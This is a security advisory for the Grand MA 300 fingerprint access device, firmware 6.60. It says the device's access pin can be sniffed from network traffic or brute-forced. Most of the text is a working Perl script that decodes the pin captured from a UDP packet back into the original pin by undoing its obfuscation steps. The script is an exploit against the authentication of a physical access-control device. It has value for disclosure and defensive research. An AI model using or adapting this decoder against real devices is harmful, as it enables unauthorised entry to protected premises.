source: http://www.securityfocus.com/bid/69390/info

Grand MA 300 is prone to multiple security weaknesses.

Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.

Grand MA 300 running firmware version 6.60 is vulnerable. 

#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>
# http://www.lsexperts.de
#
use warnings;
use strict;

my $cid = 0;     # connection id
my $ret = 0x4B00A987; # pin on the wire

# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;

# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret =  $ret | 0x005A0000;

# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor with magic value
$ret ^= 0x4F534B5A;

# substract the connection id
$ret -= $cid;

my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
  $fin *= 2;
  if ($ret & 1) {
    $fin = $fin + 1;
  }
  $ret = $ret / 2;
}

printf("final: %X \n", $fin);